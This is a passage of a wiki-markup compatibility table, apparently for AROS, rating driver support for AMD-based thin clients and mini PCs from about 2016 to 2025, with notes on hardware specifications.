| &lt;!--SATA--&gt;SATA half slim version '''limited space''' with msata 8+18pins slot on earlier 2016 models
| &lt;!--Gfx--&gt;{{Maybe|VESA for Radeon R3E later R5E sea islands vulkan 1.2 with dvi dp output}}
| &lt;!--Audio--&gt;{{Yes|HD Audio with codec ?? (412) and  Realtek ALC662-VD0-GR (424), both case speaker}}
| &lt;!--USB--&gt;amd usb3 boot usb2 with bios &quot;disable usb&quot; entry 
| &lt;!--Ethernet--&gt;{{Yes|Realtek 8169 8111 (412) and (424)}}
| &lt;!--Test Distro--&gt;Aros One x86 USB 1.5, 1.8 and 2.2 but ArosOne 64bit 1.2 boot loop in usb2 port 
| &lt;!--Comments--&gt;2016 64bit - 20cm/8&quot; high case - 1 DDR3L sodimm slot max 8Gb 1600MHz - external '''12V 3A''' supply with 5.5mm/2.1mm coaxial - IDE like interface under base stand is for legacy addon ports RS232 parallel etc - capacitive touch power on - case opening 3 stages, remove stand and narrow black plastic strip from the back, top cover slides off to the back and lifts off - 
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;10ZiG 6148v 6048qv (6100 series) 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{maybe| }}
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{maybe| }}
| &lt;!--USB--&gt;{{No| }}
| &lt;!--Ethernet--&gt;{{maybe| }}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2018 64bit AMD Ryzen V1202B 
|-
| &lt;!--Name--&gt;10ZiG 7111q 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{maybe| }}
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{maybe| }}
| &lt;!--USB--&gt;{{maybe| }}
| &lt;!--Ethernet--&gt;{{maybe| }}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2019 64bit AMD Ryzen R2514 2.1 GHz - 
|-
| &lt;!--Name--&gt;Shuttle DA320 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;R3 R5
| &lt;!--Audio--&gt;HD Audio with ALC662 codec 
| &lt;!--USB--&gt;{{maybe| }} 
| &lt;!--Ethernet--&gt;dual realtek 1GbE 8111H 
| &lt;!--Test Distro--&gt;
| &lt;!--Opinion--&gt;2017 64bit AMD 2200G 2400G - Robust metal 1.3-liter case - A320 chipset DDR4 - 19V 6.32A DC PSU - 
|-
| &lt;!--Name--&gt;IGEL UD7 H850C around december 2019 '''AMD Secure Processor''' is a built-in dedicated security system that checks if the BIOS has a valid signature and thus secures the next step in the boot process. This ensures that only devices with a signed BIOS will boot 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;None but 8gb emmc 
| &lt;!--Gfx--&gt;Vega 3 
| &lt;!--Audio--&gt;HD Audio with Realtek ALC897 or ALC888S codec 
| &lt;!--USB--&gt;USB 3.2 and 2.0 
| &lt;!--Ethernet--&gt;1GbE
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2018 64bit - AMD Ryzen™  Dual-Core 10W TDP - 2 DDR4 sodimms slots max 16Gb - 12V 4A psu - 2x DisplayPort 1.2 no dvi or hdmi - Intel® 9260 or SparkLAN WNFT-238AX wifi - 1x rear serial Prolific PL2303 chipset - locked down components and very limited expansion options 
|-
| &lt;!--Name--&gt;IGEL UD7 H860C - '''AMD Secure Processor''' is a built-in dedicated security system that checks if the BIOS has a valid signature and thus secures the next step in the boot process. This ensures that only devices with a signed BIOS will boot 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;None but 8gb emmc 
| &lt;!--Gfx--&gt;Vega 3 
| &lt;!--Audio--&gt;HD Audio with Realtek ALC897 or ALC888S codec 
| &lt;!--USB--&gt;USB 3.2 and 2.0 
| &lt;!--Ethernet--&gt;1GbE
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2018 64bit - AMD Ryzen™  Dual-Core 10W TDP - 2 DDR4 sodimms slots max 16Gb - 12V 4A psu - 2x DisplayPort 1.2 no dvi or hdmi - Intel® 9260 or SparkLAN WNFT-238AX wifi - 1x rear serial Prolific PL2303 chipset - locked down components and very limited expansion options 
|-
| &lt;!--Name--&gt;IGEL UD3 M350C (UEFI issues) 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;None but 8gb emmc 
| &lt;!--Gfx--&gt;Vega 3 
| &lt;!--Audio--&gt;HD Audio with Realtek ALC897 or ALC888S codec 
| &lt;!--USB--&gt;USB 3.2 and 2.0 
| &lt;!--Ethernet--&gt;1GbE
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2018 64bit - AMD Ryzen™ R R1505G Dual-Core 10W TDP - 2 DDR4 sodimms slots max 16Gb - 12V 4A psu - 2x DisplayPort 1.2 no dvi or hdmi - Intel® 9260 or SparkLAN WNFT-238AX wifi - 1x rear serial Prolific PL2303 chipset - locked down components and very limited expansion options 
|-
| &lt;!--Name--&gt;IGEL UD7 H860C AMD Ryzen V1605B Thin Client - '''AMD Secure Processor''' is a built-in dedicated security system that checks if the BIOS has a valid signature and thus secures the next step in the boot process. This ensures that only devices with a signed BIOS will boot 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;{{maybe| }} 
| &lt;!--Ethernet--&gt;1GbE 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2020 AMD Ryzen™ Embedded V1605B 2 – 3.6 GHz (Quad-Core) - 12v 5A psu - up to 16GB RAM DDR4 - locked down components and very limited expansion options 
|-
| &lt;!--Name--&gt;Gigabyte Brix Barebone Mini PC BSRE-1605
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 M.2
| &lt;!--Gfx--&gt;Vega 8  
| &lt;!--Audio--&gt;HD Audio ALC269 codec
| &lt;!--USB--&gt;USB3
| &lt;!--Ethernet--&gt;2 GbE
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2020 64bit AMD Ryzen V1605B - 2 DDR4 sodimm slots
|-
| &lt;!--Name--&gt;MINISFORUM Deskmini UM250 Mini PC 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;{{maybe| }}
| &lt;!--Ethernet--&gt;{{maybe| }}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2020 64bit AMD Ryzen V1605B - 
|-
| &lt;!--Name--&gt;T-Bao MN25 Mini PC 2500U 
| &lt;!--IDE--&gt;{{N/A| }}
| &lt;!--SATA--&gt;{{Unk|Intel NVMe}}
| &lt;!--Gfx--&gt;{{No|VESA Radeon Vega 8}}
| &lt;!--Audio--&gt;{{Unk| }}
| &lt;!--USB--&gt;{{maybe|USB 3}}
| &lt;!--Ethernet--&gt;{{Yes|Realtek PCIe 1GbE}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Atari VCS || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{maybe|Vesa 2D for AMD Vega 3}} || &lt;!--Audio--&gt;{{unk|HDAudio with ALC codec}} || &lt;!--USB--&gt;{{maybe|USB3 USB 3.2 Gen 2 front and 3 usb2 rear }} || &lt;!--Ethernet--&gt;rtl8169 Realtek RTL8111H || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit Ryzen Embedded R1606G - 2 ddr4 sodimm slots - TPM 2.0 - 
|-
| &lt;!--Name--&gt;Minis Forum M200 Silver Athlon M300 3300U 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Vega 8 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;{{maybe|USB 3.1 gen 1 and 2}} 
| &lt;!--Ethernet--&gt;{{No|Realtek PCIe 2.5G}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2021 64bit 
|-
| &lt;!--Name--&gt;Minis Forum DeskMini UM300 3300U, UM350 DMAF5 3550H, UM370 and UM700 with 3750H  
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Vega 8 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;{{maybe|USB 3.1 gen 1 and 2}} 
| &lt;!--Ethernet--&gt;{{No|Realtek PCIe 2.5G}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2021 64bit 
|-
| &lt;!--Name--&gt;MinisForum X300 with AMD 3400G
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Vega 8 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;{{maybe|USB 3.1 gen 1 and 2}} 
| &lt;!--Ethernet--&gt;{{No|Realtek PCIe 2.5G}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2021 64bit 
|-
| &lt;!--Name--&gt;Beelink SER3 GTR4 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;AMD Vega 3 or 10 
| &lt;!--Audio--&gt;HD Audio  with codec 
| &lt;!--USB--&gt;{{maybe|USB3}} 
| &lt;!--Ethernet--&gt;Realtek RJ45 1GbE 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2020 64bit 3200u or 3750h 
|-
| &lt;!--Name--&gt;AsRock DeskMini X300 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2020 Ryzen 7 Pro 4750G 5600G 
|-
| &lt;!--Name--&gt;MinisForum Besstar Tech X400 with AMD 4650G
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;AMD
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;{{maybe|USB 3.1 gen 1 and 2}} 
| &lt;!--Ethernet--&gt;{{No|Realtek PCIe 2.5G}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2021 64bit - MP1584 - kill NB679 NB679GD-Z=ALTM=AL** QFN-12 IC-REG-DL buck/linear synchronous chip IC with bad usb cables - 
|-
| &lt;!--Name--&gt;Beelink SER4 GTR5
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;cant boot from installed SSDs unless its an M.2 
| &lt;!--Gfx--&gt;AMD Vega 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;{{maybe|USB3}} 
| &lt;!--Ethernet--&gt;1 or 2 Realtek 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2021 64bit 4700U or 5900HX 
|-
| &lt;!--Name--&gt;MSI PRO DP20Z 5M Mini PC - AMD Ryzen 5 5300G
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|Realtek 2.5G LAN RTL8125}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2018-2021 R3 3200G Vega 8 - R5 3400G Vega 11 - Ryzen 5 5600G Vega 7 - Athlon 3000G
|-
| &lt;!--Name--&gt;Minisforum UM450 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;Vega 
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB3
| &lt;!--Ethernet--&gt;{{No|Realtek 2.5G LAN RTL8125}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit - Ryzen 4500U - 
|-
| &lt;!--Name--&gt;Gigabyte Brix 
GB-BRR7-4800 (rev. 1.0)
GB-BRR7-4700 (rev. 1.0)
GB-BRR5-4500 (rev. 1.0)
GB-BRR3-4300 (rev. 1.0)
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;{{maybe|}}
| &lt;!--Ethernet--&gt;Realtek 2.5G LAN RTL8125
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;ASUS PN50 mini PC AMD Ryzen 7 4700U
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Vega 
| &lt;!--Audio--&gt;HD audio with  codec 
| &lt;!--USB--&gt;{{maybe|3.1 gen1}} 
| &lt;!--Ethernet--&gt;{{No|realtek 2.5GbE}} 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit - 
|-
| &lt;!--Name--&gt;ASUS PN51-S1 mini PC AMD Ryzen 7 5700U
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;Vega thru dp or hdmi 
| &lt;!--Audio--&gt;HD audio with  codec 
| &lt;!--USB--&gt;{{maybe|3.1 gen1}} 
| &lt;!--Ethernet--&gt;{{No|realtek 2.5GbE}} 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit - 19v or 19.5v 90w psu round barrel - 32gb ddr4 sodimm - 
|-
| &lt;!--Name--&gt;Minis Forum Bessstar Tech EliteMini B550 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;1 x 2.5in and 2 nvme  
| &lt;!--Gfx--&gt;Vega 8 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;{{maybe|4 usb3.1}}
| &lt;!--Ethernet--&gt;{{No|realtek 8125 2.5GbE}}  
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit AMD 4700G 5700G desktop cpu - 19v 120w round barrel - 
|-
| &lt;!--Name--&gt;ASRock A300 and later X300 Mini itx with Desktop AM4 socket 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;Vega 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;1GbE 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit - choose your own AMD APU GE 35w based - DDR4 - 
|-
| &lt;!--Name--&gt;ASRock 4x4 BOX-5800U Zen 3-based AMD Ryzen 7 5800U 15W - 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;m.2 slot gen 3 and sata 
| &lt;!--Gfx--&gt;vega 
| &lt;!--Audio--&gt;HD audio  with codec 
| &lt;!--USB--&gt;{{maybe|}}
| &lt;!--Ethernet--&gt;{{Maybe|1 GbE and 1 2.5GbE}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit - WiFi 6E - 
|-
| &lt;!--Name--&gt;Topton S500+ Gaming Mini PC - Morefine S500+ 5900HX Mini PC - Minisforum UM590 Ryzen AMD Zen3 Ryzen 9 5900HX 7 5800H 45W - 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 nvme 1 sata 
| &lt;!--Gfx--&gt;Vega 8 thru HDMI 2.0, DP 1.4, and USB type-C 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;{{maybe|usb3.1}}
| &lt;!--Ethernet--&gt;{{Maybe|1 realtek rtl 8111h and 1 8125 2.5GbE bg-cg}} 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit - 2 sodimm ddr4 3200MHz - 
|-
| &lt;!--Name--&gt;Chuwi RzBox later Ubox 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 nvme 
| &lt;!--Gfx--&gt;Vega 8 later to 660m vga, dp, hdmi 
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;{{maybe|usb-c usb2}} 
| &lt;!--Ethernet--&gt;dual gigabit 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 2025 64bit amd 5800h 4800h 6600H - 90w psu - 
|-
| &lt;!--Name--&gt;Beelink Mini PC SER5, Trigkey AZW S5, Asus PN52, ZHI BEN MX-JB560, 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;PCIe3 M.2 2280 nvme 
| &lt;!--Gfx--&gt;AMD Vega 6 with 1 or 2 hdmi 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;{{maybe|USB3.0}} 
| &lt;!--Ethernet--&gt;{{Maybe|Realtek 1GbE}} 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit 5500U 5560u 5600U to PRO 5600H 5800H - 19v 3.42W 65W psu - 
|-
| &lt;!--Name--&gt;NIPOGI Kamrui ACEMAGICIAN AM06PRO Dual LAN Mini PC AMD Ryzen 7 5800U, 5 5500U or 5600U/5625U
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;M.2 and 2.5in sata 
| &lt;!--Gfx--&gt;Vega 7 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;2 GbE ports 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit - plastic build - 90w usb-c power - loud at 25W setting - 
|-
| &lt;!--Name--&gt;Topton FU02 Fanless Mini PC AMD Ryzen 7 4700U 5600U 5800U 8 Core 16 Threads
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe and 2.5in sata 
| &lt;!--Gfx--&gt;Vega
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;4 3.0 with 2 2.0 
| &lt;!--Ethernet--&gt;2 x 1G
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64 - 2 ddr4 sodimm slots - fanless with copper cube from cpu to metal sheet which gets warm 
|-
| &lt;!--Name--&gt;Xuu XR1 Lite (5300u 4c 8t) PRO 5400U   MAX 5600U  
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;1 NVMe 2242 slot 
| &lt;!--Gfx--&gt;Vega 6
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;2 3.0 
| &lt;!--Ethernet--&gt;1G
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64 quiet fan - very small case no expansions - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;MINISFORUM UM690 Venus Series 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;pcie4 nvme 2280 and 1 sata3 2.5in 
| &lt;!--Gfx--&gt;680m RNDA2 12CU with 2 hdmi 
| &lt;!--Audio--&gt;HD Audio with codec 
| &lt;!--USB--&gt;{{maybe|1 USB4 and 2 USB3.2}} 
| &lt;!--Ethernet--&gt;{{No|2.5G LAN}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit 6900hx 8C16T - 2 ddr5 sodimmm - 19v ???W - 
|-
| &lt;!--Name--&gt;Beelink Mini PC GTR6 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;PCIe4
| &lt;!--Gfx--&gt;AMD 680M RDNA2 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;USB3.2 
| &lt;!--Ethernet--&gt;{{No|Realtek 2.5GbE or intel i225}} 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit Ryzen 9 6900HX Zen3+ and a 2gb Radeon 680m 12CU ddr5 sodimm - 19v 120w psu - 
|-
| &lt;!--Name--&gt;Asus PN53, Geekom AS 6, 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;pcie gen4 nvme and ata 2.5in
| &lt;!--Gfx--&gt;680m RNDA2 12CU with 2 hdmi and 1 dp
| &lt;!--Audio--&gt;HD Audio with codec 
| &lt;!--USB--&gt;{{maybe|2 usb-c, 2 USB2.1 and 3 USB3.2}} 
| &lt;!--Ethernet--&gt;{{No|1G LAN}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit 6900hx 8C 16T - 2 slots ddr5 sodimmm (64Gb max) - 19v 120W - 4 retained base screws beware ribbon cable - 
|-
| &lt;!--Name--&gt;Micro Computer (HK) Tech Ltd MinisForum UM773 Lite later UM750L slim, GMKtec K2 Mini PC 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe PCIe4.0 
| &lt;!--Gfx--&gt;RDNA 
| &lt;!--Audio--&gt;HD Audio 
| &lt;!--USB--&gt;USB4 
| &lt;!--Ethernet--&gt;2.5GbE
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2023 2025 64bit - AMD Zen 3+ (8c 16t) Ryzen 7 7735HS, 7840HS and AMD Ryzen 9 7845HX AMD Ryzen™5 7545U (6c12t) - 19v up to 120w ac adapter - ddr5 sodimm 4800Mhz - 
|-
| &lt;!--Name--&gt;[https://www.asrockind.com/en-gb/4x4 ASrock 4x4 SBC] 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;sata or nvme 
| &lt;!--Gfx--&gt;Vega or 680M 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;USB3 or USB4 
| &lt;!--Ethernet--&gt;Realtek 1GbE or intel 2.5GbE
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit - 
|-
| &lt;!--Name--&gt;Beelink Mini PC GTR7 SER7 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;PCIe4 nvme 2280 up to 2Tb
| &lt;!--Gfx--&gt;AMD 780M RDNA3 GPU output on hdmi and dp 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;USB3.2 
| &lt;!--Ethernet--&gt;{{No|1 or 2 2.5GbE}} 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2023 64bit AMD Phoenix APUs Zen 4 CPU Ryzen 7 7840HS or 9 7940HS (8c 16t) - 19v 5.26A 120w psu - del dios setup f7 choose boot - 2 usb-c on back - up to 64gb via 2 ddr5 sodimm slots - 
|-
| &lt;!--Name--&gt;MINISFORUM BD770i Ryzen 7 7745HX (8c16t) or BD795i SE 790i 9 7945HX (16c32t) or F1FXM_MB_V1.1 795M LGA1700 mATX 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 NVMe 
| &lt;!--Gfx--&gt;Radeon 610m over usb-c, dp or hdmi 
| &lt;!--Audio--&gt;HDAudio  with codec 
| &lt;!--USB--&gt;USB3 with 2 rear USB2 
| &lt;!--Ethernet--&gt;Realtek 2.5G 
| &lt;!--Test Distro--&gt;
| &lt;!--Opinion--&gt;2024 mini-ITX M/B is the first MoDT (Mobile on Desktop) with soldered AMD CPU - 2 dual PCIe4.0 M.2 slots - 2 ddr5 sodimm slots max 5200Mhz - 8pin cpu power - battery not easily replaceable underneath - 
|-
| &lt;!--Name--&gt;Minisforum ms-a1 MS-a2 
* 5700G to 8700G apu 
* 9955HX
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 nvme 
| &lt;!--Gfx--&gt;AMD 610M 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;dual 2.5GbE 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2024 64bit - 19v ?A round barrel jack - 2 ddr5 so-dimm slots - 
|-
| &lt;!--Name--&gt;AOOSTAR GT68 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;Nvme 
| &lt;!--Gfx--&gt;680m 
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB3
| &lt;!--Ethernet--&gt;2 2.5Gb 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 Ryzen7 Pro 6850H, 
|-
| &lt;!--Name--&gt;NextSBC 7840HS 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;Nvme 
| &lt;!--Gfx--&gt;AMD 780M 12CU 
| &lt;!--Audio--&gt;HDAudio with codec 
| &lt;!--USB--&gt;USB4 and USB 3.2  
| &lt;!--Ethernet--&gt;2 GbE 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 64bit - 32Gb soldered - 
|-
| &lt;!--Name--&gt;Firebat A6 R7 6800H
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;nvme
| &lt;!--Gfx--&gt;AMD 680M
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB3
| &lt;!--Ethernet--&gt;rtl8169 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 64bit - 
|-
| &lt;!--Name--&gt;Minisforum UM760 7640HS 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;nvme
| &lt;!--Gfx--&gt;AMD 760 
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB4 
| &lt;!--Ethernet--&gt;rtl8169 and 2.5Gb 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 64bit - 
|-
| &lt;!--Name--&gt;Peladn WO4 Mini PC 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;nvme
| &lt;!--Gfx--&gt;AMD 760 
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;rtl8169 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 64bit 7640HS - 19v 5.26A 120W - 
|-
| &lt;!--Name--&gt;BossGame M4 Neo 7840HS 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;nvme
| &lt;!--Gfx--&gt;AMD 780 
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;rtl8169 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 64bit - 
|-
| &lt;!--Name--&gt;Minisforum UM870 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;NVme || &lt;!--Gfx--&gt;AMD 780M || &lt;!--Audio--&gt;HDaudio || &lt;!--USB--&gt;USB3 || &lt;!--Ethernet--&gt;2.5GbE || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2025 64bit - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;GEEKOM A8 Max AI Mini PC AMD Ryzen™ 9 8945HS, Ryzen™ 7 8845HS or 8745HS 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVme 
| &lt;!--Gfx--&gt;AMD 780M 
| &lt;!--Audio--&gt;HDAudio with codec 
| &lt;!--USB--&gt;{{maybe| USB4}}
| &lt;!--Ethernet--&gt;{{No|Dual 2.5 G Ethernet ports}} 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 64bit - 
|-
| &lt;!--Name--&gt;Beelink SER 9 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVme 
| &lt;!--Gfx--&gt;Radeon 890M
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB4 
| &lt;!--Ethernet--&gt;{{No| }}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 64bit - Ryzen AI HX 370 strix point - 
|-
| &lt;!--Name--&gt;GMKtec EVO-X2 mini pc 
| &lt;!--IDE--&gt;{{n/a}}
| &lt;!--SATA--&gt;nvme
| &lt;!--Gfx--&gt;AMD 8060S iGPU RDNA3.5 RADV GFX1151 
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB4 
| &lt;!--Ethernet--&gt;{{No| }}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 64bit - amd ryzen AI Max+ 395 (16c32t) strix halo - 
|-
| &lt;!--Name--&gt;BosGame M5 
| &lt;!--IDE--&gt;{{n/a}}
| &lt;!--SATA--&gt;nvme
| &lt;!--Gfx--&gt;AMD 8060S iGPU RDNA3.5 RADV GFX1151 
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB4 
| &lt;!--Ethernet--&gt;{{No| }}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 64bit - amd ryzen AI Max+ 395 (16c32t) - 
|-
| &lt;!--Name--&gt;Steam Machine GabeCube 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;nvme
| &lt;!--Gfx--&gt;semi-custom 1080p amd 7600m like with 28cu 8gb ddr6 gddr 10GFlops 
| &lt;!--Audio--&gt;hdaudio with codec 
| &lt;!--USB--&gt;usb3
